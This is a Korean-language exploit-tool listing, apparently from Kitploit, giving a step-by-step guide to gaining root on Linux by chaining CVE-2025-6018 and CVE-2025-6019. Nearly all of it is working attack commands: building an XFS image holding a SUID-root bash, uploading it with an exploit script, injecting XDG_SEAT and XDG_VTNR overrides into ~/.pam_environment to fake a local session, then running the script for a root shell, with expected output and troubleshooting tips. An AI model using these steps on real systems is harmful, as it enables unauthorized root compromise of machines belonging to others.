CVE-2025-6018-CVE-2025-6019-Privilege-Escalation-Exploit — CVE-2025-6018 및 CVE-2025-6019를 대상으로 XFS 이미지 조작과 PAM 환경 변수 주입을 통해 Linux 시스템에서 루트 권한을 획득하는 단계별 권한 상승 익스플로잇 | Kitploit

CVE-2025-6018 + CVE-2025-6019 권한 상승 가이드

📋 빠른 익스플로잇 단계

1단계: XFS 이미지 준비 (로컬 머신)

# Create 300MB XFS image
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image

# Mount and install SUID bash
mkdir mnt
sudo mount -t xfs xfs.image mnt
sudo cp /bin/bash mnt/bash
sudo chmod 4755 mnt/bash
sudo umount mnt
rmdir mnt

# Verify (should show 300M)
ls -lh xfs.image

2단계: 대상에 파일 업로드

# Upload exploit script and image
scp exp.sh [email protected]:~/
scp xfs.image [email protected]:~/

3단계: 첫 로그인 - PAM 설정

# SSH login to target
ssh [email protected]

# Write PAM environment variables
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF

# Verify configuration
cat ~/.pam_environment

# 🔥 Critical: Logout (to activate PAM config)
exit

4단계: 두 번째 로그인 - 권한 상승 실행

# Re-login via SSH (PAM config now active)
ssh [email protected]

# Verify PAM is active (should return "('yes',)")
gdbus call --system --dest org.freedesktop.login1 \
    --object-path /org/freedesktop/login1 \
    --method org.freedesktop.login1.Manager.CanReboot

# Execute privilege escalation script
bash exp.sh

✅ 성공 지표

익스플로잇에 성공하면 다음과 같은 출력이 나타납니다:

✓ SUID bash found: /tmp/blockdev_loop0_xfs_xxxxx/bash
✓ Root access confirmed!

════════════════════════════════════════════════════════════
║ ROOT FLAG                                               ║
║ <flag_here>                                             ║
════════════════════════════════════════════════════════════

bash-5.2# whoami
root

🔧 문제 해결

문제	해결 방법
`CanReboot`가 `('no',)`를 반환	3단계에서 로그아웃 후 다시 로그인했는지 확인
오류

📌 주요 사항

✅ 로그아웃 후 재로그인이 필수: PAM 설정은 새 세션에서만 적용됩니다
✅ CanReboot 확인: 스크립트 실행 전에 ('yes',)가 반환되는지 확인하세요
✅ SSH 로그인 사용: ssh -t user@host "cmd" 방식의 실행은 사용하지 마세요

🐱 수호 고양이

실패할 경우, 모든 단계가 엄격한 순서로 실행되었는지 확인하세요!

도구 다운로드

Not authorized